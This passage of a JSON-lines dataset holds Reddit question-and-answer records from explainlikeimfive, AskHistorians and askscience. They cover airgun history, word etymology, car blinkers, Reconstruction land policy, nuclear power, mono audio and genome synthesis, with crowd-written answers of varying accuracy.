Lewis or Clark emptied a magazine of the airgun into a tree some tens of yards away.  Implying that their boats were full of these weapons, they then gave away gifts, traded for food and talked peace and friendship.  In other words, peace by intimidation, and, according to their journals, it worked every time.  \nThis is in marked contrast to the Austrian's experience.  The rifle and its support systems worked well, but it was relatively fragile for the day and required extensive training of the soldiers.  It was also expensive and the king who championed it died.  Being a \"secret weapon,\" the Girandoni was pretty much lost to history.  That is, \"It doesn't work for us and it damn well won't work for anyone else either.\"\nRobert Beeman, founder of Beeman Precision Airguns and an avid collector, decided to search for the airgun used by Lewis and Clark when he, Beeman, retired.  He found the exact piece in his own collection.  He then donated the rifle to the  U.S. Army War College, Army Heritage and Educational Center, at Carlisle, Pennsylvania.  \n\n\n _URL_2_\n  _URL_3_\nThe above references have many citations within them.\n  _URL_1_\n   _URL_0_\n  \nI am no historian; I just like airguns and their stories."]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=-pqFyKh-rUI"], "answers_urls": [["http://m14forum.com/steel-wood/132110-girandoni-air-rifle-lewis-clark-s-secret-weapon.html", "http://www.defensemedianetwork.com/stories/the-girandoni-air-rifle/", "http://www.beemans.net/lewis-assault-rifle.htm", "http://www.beemans.net/Lewis%20&amp;%20Clark%20Airgun.htm"]]}
{"q_id": "48256o", "title": "why is terrific a positive word when terror and terrifying and negative?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/48256o/eli5_why_is_terrific_a_positive_word_when_terror/", "answers": {"a_id": ["d0gur0m", "d0gxpbh", "d0h1qji", "d0h2eus", "d0h2un9", "d0h3oo9"], "score": [68, 26, 2, 3, 12, 2], "text": ["\"Terrific\" used to have the meaning you'd expect, but as with many words, it came to be crudely applied to mean \"good.\" The [Online Etymology Dictionary](_URL_0_) has that meaning starting in 1888. The same pattern later occurred with \"awesome.\"", "Reminds me of a passage by Terry Pratchett:\n\nElves are wonderful. They provoke wonder.\n\nElves are marvellous. They cause marvels.\n\nElves are fantastic. They create fantasies.\n\nElves are glamorous. They project glamour.\n\nElves are enchanting. They weave enchantment.\n\nElves are terrific. They beget terror.\n\nThe thing about words is that meaning can twist just like a snake, and if you want to find snakes look for them behind words that have changed their meaning.\n\nNo one ever said elves are nice. \n\nElves are bad.\n", "I speak English as my second language and always thought it was strange to use terrific as a positive word. ", "It is similar to how the word incredible has come to be synonymous with excellent, when its origins were originally something that seemed untrue or unlikely to be the case. ", "Interesting to note that \"Ivan the Terrible\" (a Russian Tsar) wasn't named for his evilness.  \"Terrible\" can mean \"powerful\" or \"great\" in some contexts.", "I am not an etymologist and know too little about language in general to make broad claims, but I think I heard that it was used as an unspecific description of emotional arousal in a vague situation, i.e., an experience that initiated a fight or flight adrenaline response. Because of it's nature being used as an expression of an inexact feeling of fear (by which I mean there is nothing apparent to be afraid of, yet the feeling is prevalent), it's use gradually lost it's meaning as an unsettled feeling, to a general feeling of adrenaline arousal, and so on until it became a positive association. At least that's what I took out of it. I'm going to find that video where I heard this, I don't think the topic was \"terror\" but it was a point...\n\nAh. VSauce, of course, referring to Stephen King's definitions of types of scary stories. [Subject at 2:17](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://etymonline.com/index.php?allowed_in_frame=0&amp;search=terrific"], [], [], [], [], ["https://www.youtube.com/watch?v=PEikGKDVsCc"]]}
{"q_id": "dkpzxn", "title": "how does a car blinker work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dkpzxn/eli5_how_does_a_car_blinker_work/", "answers": {"a_id": ["f4j9fpj"], "score": [3], "text": ["In the past, car flasher units used a Bimetallic Switch similar to that used in simple analog thermostats.\n\nA bimetallic strip is a piece of metal composed of two different metals with different rates of thermal expansion, which have been welded together and then rolled into a thin strip. \n\nHeating the strip causes one layer to expand to a greater degree than the other which causes the strip to bend or curl. In a thermostat this bending can be used to close a pair of electrical contacts, thereby controlling  either a heating or cooling device. \n\nAutomotive flashers used a small heating coil which was wired in parallel to, and placed next to the Bimetallic strip. Tuning on the signal switch initially heated the coil which caused the strip to bend, closing the switch and turning the signal on. This created an audible clicking sound that also served as an indication that it was working. \n\nBut when the switch was closed, most of the current then went through the contacts and not through the heating coil which has much higher electrical resistance, because the two devices were wired in parallel.\n\nThis caused the heater to cool down, after about half a second the Bimetallic strip would cool enough to bend back to it's original shape, opening the circuit again. \n\nWhile this was a pretty reliable and simple system, fabricating them could be a bit delicate. The heating coil could also fail or fracture due the the material stresses caused by hundreds of thousands of heat-then-cool cycles.\n\nModern cars use a wholly electronic switch that is smaller and more reliable, lacking moving parts. It's also easier to fabricate because high temperature swings aren't a concern. This typically consists of a capacitor and a transistor  that is controlled by charging and then discharging the capacitor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cvanrp", "title": "[USA History, ~1865] To what extent was \"40 acres and a mule\" a clear Union policy? To what extent were Sherman (Special Field Orders, No. 15), the Freedmen's Bureau, et. al. authorized to promise this or similar things? And what would be the approximate value in 2019 dollars?", "selftext": "In my cursory reading on the topic, it seems like this was more hope and empty promise than a real policy (whereas in high school history it sounded more like this was a real promise that the Union just never delivered on), and I'm unclear on how \"fair\" this would even be as far as reparations would go. (Can you even put a number in dollars to the effect of slavery?) It's also unclear to me whether this policy was meant as a reparations policy or if it had some other purpose.\n\nReddit historians, please set me straight.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cvanrp/usa_history_1865_to_what_extent_was_40_acres_and/", "answers": {"a_id": ["ey4bcg4"], "score": [9], "text": ["**(1/2)**\n\nThe idea that to obtain true freedom African-Americans needed their own land was expressed several times throughout the war. But this radical effort to give them lands aroused the opposition of conservatives and brought to light the great ambiguities within the Republican ideology. \n\nReconstruction, for all intents and purposes, begins in 1863, when the Union finally came to control large sections of Louisiana and Tennessee. The Lincoln administration then entered an oftentimes bitter rivalry with Congress over who should control the Reconstruction process. As a moderate, Lincoln wanted to bring the rebellious states back into the Union as soon as possible, but Radical Republicans believed that Reconstruction would be worthless unless massive social and economic changes accompanied it. They sought to break the power of the White elites and help Black Americans to be truly independent. Wendell Phillips, for instance, said that \"The war can be ended only by annihilating that Oligarchy which formed and rules the South and makes the war\u2014by annihilating a state of society.\" But the idea of making special efforts on behalf of the freedmen clashed hard with the prevailing idea of Free Labor. \n\nAs an ideology, Free Labor was the guiding principle of the Republican Party and their vision of what the North, and ultimately the United States, should be. But the ideology held that people should be given the *chance* to prove themselves, with everyone being given equal opportunity in what Lincoln called \"the race of life.\" Thus, it's evident that the ideology ignored the existence of systematic inequalities that would require a greater social and economic intervention on the part of the Federal Government. Some recognized that it was \"nonsense to talk about the inferiority of the negro race, whilst at the same time they are kept in a state of degradation\", but as a whole many Republicans believed that the lack of success of African-Americans was a result of their own moral defects, accusing them of being \"indolent, improvident, servile, and licentious.\" As a result, the idea of giving them free land struck many Republicans not as a step for equality, but as unjust aid that they, perhaps, would not be able to use. \n\nThe Black community itself declared that they needed just legal and political equality to achieve economic and social equality by themselves. None other than Frederick Douglass said that when it came to the Negro and his future position the government should \u201cdo nothing\u2026. Give him a chance to stand on his own legs! Let him alone!\u201d He further argued that special privileges would only breed bitterness and resentment, and do nothing to prepare African-Americans for freedom after the government inevitably stopped its involvement, saying that broad intervention would only \u201cserve to keep up the very prejudices, which it is so desirable to banish.\" Insisting that \"dependence is degradation,\" Black leaders sought only equal opportunity: \"Remove all obstacles, and give the black man an equal chance, . . . and then should he not succeed, he will not ask you or anyone else to mourn over his failure.\" \n\nNonetheless, as long as political and social power remained in the hands of the same social elites, and systematic inequalities that hindered the economic advancement of Black communities remained, Blacks did not really have an equal chance. The new Southern governments that were created with the blessing and permission of the Johnson Administration showed this through their creation of \"Black codes\", laws that restricted the newfound freedom and rights of African-Americans. For example, they declared all Blacks not in employment to be \"vagrants\", and then assigned \"hard work\" as the punishment for convicted \"criminals.\" Years before this, prescient Radicals, such as the Hoosier Congressman George Julian, led the fight for the creation of a Freedmen's Bureau that could protect them and their rights, because otherwise the ex-slaves would fall into a system \u201ca system of wage slavery \u2026 more galling than slavery itself.\u201d \n\nThe Radicals supported a Confiscation Act that could take rebel land and distribute it among former slaves. But although the House and Senate both passed individual bills to that effect, no unified measure was reached. Legislation for the creation of the Freedmen's Bureau was also delayed due to confusion and fights over whether the Bureau should be under the War or Treasury Departments. Since the Treasury was headed by the Radicals' friend Salmon P. Chase, they wanted him to oversight the whole venture. After Chase was appointed to the Supreme Court and thanks also to Sherman's Special Field Orders N\u00b015, the Bureau was finally created in 1865. In accordance with the Republican aversion of permanent guardianship of the Freedmen, the Bureau was supposed to exist for only one year, and it was given no budget. Some Radicals, like Charles Sumner, wanted it to be a permanent agency, equal to and independent of the other Departments, but this was to no avail. \n\nThe fact that Sherman took a part in this Radical measure is kind of ironic, for he was a rather conservative man who is described as \"neither a humanitarian reformer nor a man with any particular concern for blacks.\" Sherman himself would later said that he only issued the order as a temporal war-time measure at the behest of Secretary of War Stanton. As Sherman's army marched through Georgia, some 20,000 slaves abandoned their plantations and joined this \"fulfillment of the millennial prophecies.\u201d When he reached Lincoln's Christmas Gift of Savannah, he was joined by Stanton, and they met with the Black leaders of the city. They made it clear that \u201cto have land, and turn it and till it by our own labor,\u201d would be the best form of preserving their liberty, and also that they \"would prefer to live by ourselves, for there is a prejudice against us in the South that will take years to get over.\u201d Four days later, Sherman issued his orders, which \"designated the sea islands and the rich plantation areas bordering rivers for thirty miles inland from Charleston down to Jacksonville for settlement by freedmen.\" By June, some 40,000 freedmen had been settled. \n\nIt was shortly after this that Congress finally agreed on the final version of the bill creating the Bureau, approved it and send it to Lincoln, who signed it immediately. To avoid appearing to give an unfair favoritism towards Blacks, it also took charge of White Southern refugees. More importantly for the purposes of your question, the Bureau also had the authority to divide up confiscated lands - thus its name of \"Bureau of Refugees, Freedmen, and Abandoned Lands.\" The Bureau now had the daunting task of dividing the four hundred thousand acres of land the government had confiscated, disposing that individuals could claim no more than 40 acres, which they could buy at the end of three years rental with \"such title thereto as the United States can convey.\"  \n\nBut, what title could it convey? Property was a right protected by the Constitution, which also prohibited bills of attainder, that is, statutes or laws that targeted a person or persons for punishment. To take away the property of the Southerners, even if they were rebels, could be interpreted as a bill of attainder. When the Second Confiscation Act was first approved, Lincoln had objected because it allowed the confiscation of both private and real property forever, without the use of courts, in the areas in rebellion. The act did limit confiscation in the Border States, disposing that only real property (i.e. slaves) could be confiscated through the legal system. Lincoln still objected, and though some Senators huffed that having the President dictate legislation was an affront to Legislative autonomy, the act was amended to allow the President to restore confiscated property through pardons and making it so that confiscation would not extend beyond a person's natural life. \n\nLincoln himself supported the Bureau as a way to protect the freedmen and prepare them for liberty, but he was not prepared to take the Radical step or redistributing lands. Nonetheless, despite Conservative pressure for overturning the Orders, he did not do so, and would continue to support the experiments in Free Labor conducted on other parts of the Union, noting that \u201can earlier and happier consummation than the most sanguine friends of the freedmen could reasonably expect\" had taken place. He later signed the bill that created the Bureau, and allowed the settlement of \"Shermanland\" to continue under the oversight of the abolitionist Rufus Saxton, who told the Black community that they \"were to be put in possession of lands, upon which they might locate their families and work out for themselves a living and respectability.\u201d\n\nWe cannot know what Lincoln would have done had he been able to lead Reconstruction. He denounced the fighting over the future of the South as \"pernicious abstractions\" and focused on getting them back on the Union as fast as possible, in order to achieve peace and create governments of loyal citizens. He supported the aforementioned \"experiments\" and he wanted Louisiana to enfranchise Black veterans and literate Gens de couleur, but still allowed the restored Louisiana government to operate despite the fact that it didn't do so. In any case, Lincoln was assassinated, and Johnson was the one who took charge. The Lincoln administration had never enforced the provisions for confiscation of lands of the Second Confiscation Act, but the Bureau still had 850,000 acres of abandoned land, not enough for all freedmen, but still something that could be used to build a class of African-American free laborers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "974bu7", "title": "i read that some sub marines are powered by nuclear power such as uranium for years before having to be changed. why cant our normal everyday electric also come from uranium?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/974bu7/eli5_i_read_that_some_sub_marines_are_powered_by/", "answers": {"a_id": ["e45efi1", "e45etgq", "e45fij4", "e45gbp1"], "score": [3, 6, 6, 3], "text": ["It can and does in many places. Problem is there have been serious problems with nuclear plants eg three mile island and Chernobyl plus another in Japan I think was damaged during an earthquake I\u2019m not sure. In these three instances major problems occurred you can google the ", "It can and it does.  Nuclear submarines, nuclear aircraft carriers, and nuclear power plants all generate electricity in the same way\n\nSome countries generate a significant amount of their power from nuclear energy.  France generates 40% of its electricity from its 58 nuclear reactors.\n\nExpanding capacity is hard.  New nuclear reactors are very expensive due to all the regulations and safety features that are required.  The local population doesn't understand them and is generally afraid of the radiation(which doesn't get out) and pushes back against the construction of new reactors and power plants. \n\nWe're more focused on expanding solar and wind capacity these days as they have far far less political push back and are significantly quicker and more cost effective in the short term than nuclear power", "It does, nuclear power plants are a thing. But what you're imagining, probably, is a personal nuclear reactor to power all of the stuff in *one* house.\n\nA nuclear reactor is really complicated and really expensive and if maintained improperly can cause a nuclear disaster; after use it generates highly radioactive waste material that needs to be disposed of (and even the government has no real solution for this!). Even if they would let you build one and fuel it with radioactive material, you would probably produce more energy than your individual house would ever use.\n\nYou might take a look at small reactors [this Wikipedia article](_URL_0_); if you click \"Gross power\" you can sort by the amount of power able to be produced: it doesn't get very small!\n\nA smaller scale nuclear-powered device is a [radioisotope thermoelectric generator](_URL_1_). Radioisotopes experience mass decay, and according to E=mc^2 they also produce energy. This has been used in spaceships going on very, very long missions. But you still have to get radioactive isotopes, so nobody would ever let you use it!", "Uranium fuelled reactors like the CANDU use ordinary uranium, \n\nhowever in the US, most reactors use enriched uranium for fuel, and the byproduct of that reactor can then be further processed to make nuclear weapons.\n\nStill other uranium fuelled reactors have an end product that can be isotopes used in medical testing and scientific instruments and for other scientific research purposes.\n\nAnd then there is the Thorium reactor that doesn't even use uranium. Thorium is plentiful and cheap. It also can be used as a reactor fuel, with a very intrinsically safe design, but the development costs are huge before a modern design can be standardised, and there is no military benefit from the end products."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/List_of_small_nuclear_reactor_designs", "https://en.wikipedia.org/wiki/Radioisotope_thermoelectric_generator"], []]}
{"q_id": "9eq47y", "title": "etymology of long island \"sound\"?", "selftext": "I find it pretty strange that the word \"sound\" is used to describe this body of water. Why is it called a \"sound?\"", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9eq47y/eli5_etymology_of_long_island_sound/", "answers": {"a_id": ["e5qn9yy"], "score": [14], "text": ["The term sound is derived from the\u00a0Anglo-Saxon\u00a0or\u00a0Old Norse\u00a0word\u00a0sund, which also means \"swimming\".[2]\nThe word\u00a0sund\u00a0is already documented in\u00a0Old Norseand\u00a0Old English\u00a0as meaning \"gap\" (or \"narrow access\"). This suggests a relation to verbs meaning \"to separate\", such as\u00a0absondern\u00a0and\u00a0aussondern(German),\u00a0s\u00f6ndra\u00a0(Swedish),\u00a0sondre\u00a0(Norwegian), as well as the\u00a0English\u00a0noun\u00a0sin, German\u00a0S\u00fcnde\u00a0(\"apart from God's law\"), and Swedish\u00a0synd. English has also the adjective \"asunder\" and the noun \"sundry', and Swedish has the adjective\u00a0s\u00f6nder\u00a0(\"broken\").\nIn\u00a0Swedish\u00a0and in both\u00a0Norwegian languages, \"sund\" is the general term for any strait. In Swedish and\u00a0Nynorsk, it is even part of names worldwide, such as in Swedish \"Berings sund\" and \"Gibraltar sund\", and in Nynorsk \"Beringsundet\" and \"Gibraltarsundet\".\n\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.m.wikipedia.org/wiki/Sound_(geography)"]]}
{"q_id": "b7an34", "title": "In the 2018 period comedy-drama film, \"The Favourite\", set in Great Britain in 1708, various of the lords/politicians are depicted as wearing large amounts of makeup. Was this a historical practice of the time in reality? If so, when did the practice begin and subsequently fall out of fashion?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b7an34/in_the_2018_period_comedydrama_film_the_favourite/", "answers": {"a_id": ["ejqsk56"], "score": [203], "text": ["[This recent-ish answer](_URL_0_) by u/mimicofmodes touches on this - it's more about costume and wigs, but mentions cosmetics too toward the end."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/9rk686/in_england_1700s_how_did_the_trend_of_caked_face/"]]}
{"q_id": "2106f3", "title": "Can anyone explain capacity in the brain?", "selftext": "I am aware that the neuronal membrane acts like a capacitor in the sense that positive and negative ions move to the walls of the lipid bilayer to oppose ions of the opposite charge inside and outside of the cell. I just don't understand exactly what a capacitor is for. Neurons have capacity, I just don't understand it. \n\nSorry for any confusion. I'm not good with physics, but when I took a neuroscience course, the first semester talked about the physics of the brain. I'm not all that interested in this aspect of neuroscience, but I'm curious because I can't wrap my head around it.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2106f3/can_anyone_explain_capacity_in_the_brain/", "answers": {"a_id": ["cg8uok2"], "score": [2], "text": ["If the lipid bilayer walls couldn't prevent ions on one side from reaching oppositely charged ions on the other, then it would be impossible for neurons to 'spike'. Spiking is the result of the imbalance in charge (highly positive on one side, negative on the other, like a capacitor) growing to the point where the membrane begins to allow ions to cross. \n\nI'm not super sure about the biochemical processes here, but suffice it to say that the capacitance of the synapse is what makes it possible to store a number of opposite charges on either side of a membrane and when this capacitor is chemically 'shorted', like if you connected the two ends of a capacitor with a wire, you get a spike in current until all the positive charges meet all the negative charges. Spikes are how neurons convey information to each other.\n\nWithout this capacitance, you'd just have a slow trickle of charge with limited ability to convey information."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2fz3qj", "title": "when and why would mono audio be better than stereo?", "selftext": "Why is mono sometimes better that stereo?  For example you can buy The Beatles discography in Stereo or Mono, couldn't you just buy the stereo and put it in mono if you wanted it mono?  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fz3qj/eli5_when_and_why_would_mono_audio_be_better_than/", "answers": {"a_id": ["cke3nmr", "cke3nyd", "cke48ij", "cke4fvh", "cke5mue", "cke5zuq", "cke61q5", "cke626l", "cke76wg", "ckebkxw"], "score": [20, 21, 2, 2, 2, 12, 2, 2, 55, 2], "text": ["The Beatles albums were originally release in mono because stereo wasn't prevalent at the time.  You get the mono version if you want the original sound  &  not a reinterpretation done by some third party decades after the fact.", "When you only have one speaker.", "Stereo is usually better, but the Beatles were notoriously sloppy about making stereo mixes of there music.  Lots of artists from the '60s have that problem, and some don't, and some no one can quite decide which version is better.  For some reason Dylan sped up \"Like a Rolling Stone\" on the mono version.  No one knows why, and people do argue about which is best.  I can't stand the mono version.  On \"Visions of Johanna\" the tambourine is missing on the stereo and on one version the guitars is a bit louder.  Again, no one can decide which is best or \"definitive,\" and Dylan hasn't said anything one way or another.  The Beatles always said they didn't care about stereo, and the band members didn't supervise the making of the stereo mixes.  They would make the mono and listen to it to make sure it was right then leave the sound engineer to do the stereo alone and usually in a lot less time.  On the other hand, Jimi Hendrix put more effort into stereo because he expected it to replace mono.\n\nI find mono has a more \"vintage\" sound, so a new artist might want to take advantage of that.  Stereo has more depth and an artist can get some cool effects out of it, but sometimes they would just cram all the vocals onto one side and all the drums onto the other so it sounds weird with headphones on.  \n\nedit to add: it would be possible to go back to the original studio tapes and make better stereo mixes, but the prevailing attitude in the music industry is that remastered albums should sound as much like the original vinyl as possible, even though when they remaster something they do go back to the original tapes and make a whole new mix.  Basically they made the stereo remasterings crummy on purpose because Beatle's fans don't like change, not because mono is really better.", "A guitar sound is one sound and therefore recorded and played in mono.  It can then be edited into a stereo setting with other instruments.", "Some people can only wear one earplug when they're at work.", "None of the top answers here are right. It's pretty simple. At the time that the records were produced, two separate mixes were done, one for mono and one for stereo. Since stereo was new at the time and the band believed it would not become common place, they spent more time perfecting the mono mixes and the stereo mixes were an afterthought. Therefore the mono mixes are often considered superior. ", "Stereo always has the potential to sound better than mono if, and this is a big if, original multitrack tapes are in reasonably good shape.  There are probably 1960's albums where the mono mix tape is the only one that hasn't deteriorated from overuse in the 1970's.  I think Brian Wilson of the Beach Boys is more proud of his mono records because he was literally pushing the limits of how many electric instruments and voices could be heard from one speaker.  Nobody else has tried it since the 1960's because frankly there is no benefit of doing it.", "When you're watching or listening to something on headphones with a friend and you each only have one ear bud.", "Hollywood sound guy and long time lurker here. First post. Screw it.\n\nGenerally a release like that is done for fans or audio-history buffs who want the \"original\" feel. By that I mean it has no aural application outside of taste.\n\nHowever in a recording environment plenty of things are done in mono. Many instruments are recorded in mono so that they can be panned and isolated within the Stereo Field to make room for other instruments. Mastering engineers will often use mono to check for phasing problems in a mix.\n\nIn movies there are old war stories of guys like Kubrick who would only mix in mono because he wanted to make it the best it could be under the worst possible conditions. Things aren't often done that way anymore, yet within a standard Dolby Surround mix there are often hundreds of tracks of mono sound being used. In film, dialog is exclusively in mono because it would sound very strange to hear someone in front of you sound like they were all around you.\n\nIn radio, AM stations broadcast mono signals because of bandwidth restrictions (you'll notice most AM stations are \"talk\" for this reason.) There was a move in the 80s to allow for stereo AM, but it didn't catch on.\n\nMaster Class: Stereo sound is so widely used because it envelopes us in sound and gives an accurate recreation of what occurs physically in real space. Sounds IRL are subject to two physical occurrences while they enter our ears; Interaural Level Differences (Sounds made on your left are softer on your right ear), and Interaural Time Differences (Sounds on your left take longer to reach your right ear). Your brain compares the two signals you get from each ear and is instantly able to localize the sound. In addition, your ears will act as EQ filters to which your brain is so well attuned that, based on frequencies missing in a sound, it will interpret directional information. All in the blink of an eye.\n\nEDIT: Shitty formatting.", "Mono is best if the original recording was in mono, artificially made stereo albums are the equivalent of post-production 3D films. Mono is also good for single instrument or single voice recordings."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "45tp1l", "title": "How come, if we know the genetic sequence of an organism, we can't just...generate it? Could this ever be possible, and why or why not?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/45tp1l/how_come_if_we_know_the_genetic_sequence_of_an/", "answers": {"a_id": ["d007ls0", "d007o7d", "d0089b8", "d008f26", "d008k77", "d008pek", "d00do37", "d00e4km", "d00e835", "d00hlz3", "d00ic87", "d00j1pm"], "score": [24, 5, 3, 3, 6, 469, 54, 3, 2, 2, 4, 17], "text": ["It depends on what you mean by \"generate\". But...\n\nGenetic sequences don\u2019t create cells from nothing. A genome is housed in a cell, and it got there from another genome that was housed inside a parental cell, and so on, going all the way back billions of years to the origin of cellular life. If you want to \u201cgenerate\u201d the organism from scratch, it\u2019s not a question of pure information: you have to provide the genetic sequence with a very particular environment, that in nature would have simply been inherited from a progenitor cell. So it\u2019s a physical problem of making and then putting thousands of different components together in very complex ways, and to do that, you\u2019d need incredibly advanced biomolecular technology. \n\nYou also need additional information about the physical and informational structure of the organism that is not contained in the genetic sequence. (Look into [epigenetics.](_URL_0_))\n\nDepending on the complexity of the cell you want to make, generation from scratch might involve synthesizing lots of different organelles, different kinds of membranes, a microtubule framework, a cytoplasm with just the right chemical makeup, and putting all these things together in exactly the right way so the genetic sequence can operate correctly in the cell you\u2019ve made for it. That is something far beyond our abilities at present.\n\nAnd this is only considering single cells. With multicellular organisms you\u2019d face a whole host of problems relating to embryogenesis and development. If you think about your genetic sequence, it didn\u2019t allow you to come into being fully formed, in an arbitrary environment. You started from a single cell in which your genome was configured epigenetically in a very specific way. Your subsequent development completely depended on being attached to a placenta inside your mother. So no, just knowing your genetic sequence doesn\u2019t allow you to be generated in a lab somewhere.\n\nWith very simple organisms like bacteria, you can sometimes get away with substituting one genome for a quite different one, and the new instructions will still function with the foreign cellular \u201cmachinery\u201d. There\u2019s been a lot of work in this area, perhaps the most high profile being Craig Venter\u2019s \u201cLife 2.0\u201d project, although it really falls under the heading of \u2018partially synthetic organism\u2019 rather than \u2018generating life from scratch\u2019.\n", "This is a really good question.\n\nEven if you have the complete DNA sequence of a molecule, it won't do anything by itself. DNA is chemically inert and needs other proteins, such as polymerases and transcription factors in order to know what to do. Not to mention how its folded in regards to nucleosomes makes a big deal on how certain regions are expressed.\n\nThe problem is really that every cell has come from a fully formed cell before it that has divided to form two cells. In order to create a brand new replicating cell we need to create both the DNA itself, and the incredibly complex chemical environment of a preformed cell. At the moment recreating am entire cell from scratch materials isn't really feasible.\n\nHowever, for simpler biological systems, specifically viruses, this is totally possible. For many viruses if you just insert their naked genome into a permissive cell you'll get infectious particles. In that sense as long as we have the sequence of the genome of a virus it's never truly extinct.\n\nAs DNA synthesizing becomes cheaper and more in-house this could actually become a problem. Any lab with access to the sequence of the smallpox genome, a DNA synthesizer, and the right cell cultures, could easily produce infectious smallpox virions.", "The other comments here about needing an operating cellular environment are the best answer, but just for completeness I should also mention that most genome sequencing efforts you hear about are not literally whole genome sequences. Even the most complete genome sequences, such as *Homo sapiens* or *Drosophila* fruit flies are still missing large sections of repetitive elements and heterochromatic regions. We are continually getting closer and closer to full sequence, but we're not there yet. Some people think it will actually never be possible. I tend to disagree, though there is certainly no way with our existing methods.\n\nBacteria have generally simpler genomes and genomic organization and I *think* there are complete bacterial genomes, but someone will correct me if I'm wrong about that.", "DNA is the code that determines the proteins/genetic traits/etc. for an organism, but the code itself is really just a basic part of a very convoluted greater system within a cell. What genes get accessed, how those proteins interact, how the cells divide, how the cells differentiate and everything else are part of complex signaling cascades. Your neurons are way different than your skin cells, even with the same DNA, due to these developmental signaling pathways. \n\nObviously when humans make a baby, we don't just form from DNA strands. We form from cells (sperm and egg) with their own DNA that fuse and activate all these pathways that are part of the (very complex) developmental process we've evolved. But take away the normal environment of fertilization, and things get a bit trickier. We've successfully cloned animals, but it took a lot of attempts and modifications aside from just replacing a cell's DNA with DNA of choice. Each species of cloned animal had different scientific hurdles that had to be overcome in order to be produced, and still other issues with the cloned animal once it was alive (which are progressively more difficult the more complex the species is). \n\nIn less complex organisms, cloning is easier. You could probably easily plop in your DNA of choice and it would go on to make an organism. But I don't know all the technical limitations involved.\n\nSo, really, you always need DNA as part of a cellular structure because the DNA doesn't really form the structures outright, it exists first in concert with them, including many proteins and their signaling pathways. DNA is not just this magic ingredient that forms an organism. It is accessed in specific ways to sort of run the \"development program\" of an organism in a very complex pattern of activation and repression of specific genes.\n", "This has (sort of) [already been done](_URL_0_). However, it required a functioning cell into which the synthetic DNA was implanted. So, yes - it is possible to generate an organism using synthesized DNA, but currently a host cell of the same species is required. ", "An organism is more than the sequence of its genome. *Much more.* \n\nIn a world where we know how to create life, let's imagine the instruction manual to do it is a great thick book called *This is Life*. Now let's imagine that some rogue ethicist breaks into the vault beneath the Declaration of Independence where the book is kept and burns it. The contents of the book are 95% destroyed, but the index and the table of contents are more or less spared. \n\nThat's about as far as knowing the sequence of an organism's genome, and the current state of molecular biology, gets you. I guess you could say we know what's in the book, and we've got bits and pieces of it, but that's it. \n\nWe don't know how to create a self-perpetuating genome (the synthetic [*Mycoplasma*](_URL_0_) cell from a few years ago was a synthetic genome that was laboriously pieced together and then inserted into an already living cell that was essentially hijacked by the synthetic genome). We don't know how to create a cell. We don't fully understand how a cell develops into an organism. Those would be, in my mind, chapters one, two, and three in *This is Life*. There would be many, many more chapters. \n\nMolecular biology is an extremely immature science. You could argue it only really got going in 1953, when the structure of DNA was determined. You could further argue it didn't *really* get going until the 1970s when restriction enzymes were first characterized. Simply put, we don't know nearly enough. Not remotely. ", "\"Generating it\" could mean many things. Let's break the question into a few smaller bits:\n\n**(1) Can we be sure we know the genetic sequence?** We can be pretty confident, but there is a snag when it comes to repeated regions. Sequencing costs have come down enormously over the past decade, but current techniques rely on sequencing many randomly generated short segments and then using a computer to identify where they overlap to build the genome sequence. Eukaryotic genomes often have long regions of repeated DNA, so if the short segments of DNA you sequence are shorter than the length of the repeated region, you will never know how many repeats the original genome had. On top of this, the genome isn't quite fixed between cells of one organism, with small alterations building up between the stem cells in different regions as you age. These problems are less of a concern in bacteria, but they might pose a larger challenge for making synthetic multicellular life.\n\n**(2) Can we generate the genetic sequence synthetically?** Yes. We can only directly synthesize a few hundred bases before errors start to become very common. But thanks to tricks like [Gibson assembly](_URL_2_), we can make those short synthetic DNA bits assemble into longer sequences. Again, there is a challenge when it comes to long stretches of repetitive DNA, because the reassembled DNA might skip a repeated section and these regions can shorten easily during PCR amplification, but these are technical challenges that money/time can overcome.\n\n**(3) Can we put the synthetic genome inside a pre-existing cell and make it work?** This is at the edge of our abilities now. More than 10 years ago viable polio virus was created from [synthetic DNA](_URL_0_). Other commenters mentioned the success of [Gibson et al.](_URL_1_) in generating viable bacteria using synthetic DNA. But doing this with other species will be trickier. DNA in multicellular organisms needs to have much more epigenetic regulation than in single-celled organisms. That is because your neurons, skin cells, muscle cells, etc. all have (very nearly) the exact same DNA in them. The epigenetic differences are what differentiates those cells from each other. Large portions of the genome have to be silenced in a viable cell, and different regions are silenced in different cells. This silencing is accomplished through many different mechanisms working at the same time, and there is much we don't understand. Even taking existing differentiated cells and and turning them back into stem cells (called [induced pluripotent stem cells](_URL_3_)) is very difficult. Getting a full \"sequence\" of all the epigenetic features of a cell line is beyond our current abilities right now. If we just tried to exchange a synthetic genome of naked DNA into, say, mouse cells, the cells would be reading all the wrong bits of DNA at once.\n\n**(4) Can we synthesize the rest of the cell?** As in, how far away are we from generating life from direct synthesis of not just DNA, but the proteins, membranes, etc.? This is far, far beyond what we can do. Cells are extremely efficient factories for generating complex molecules and assembling them into larger functioning units. And we don't even know everything that is in a cell. This would be 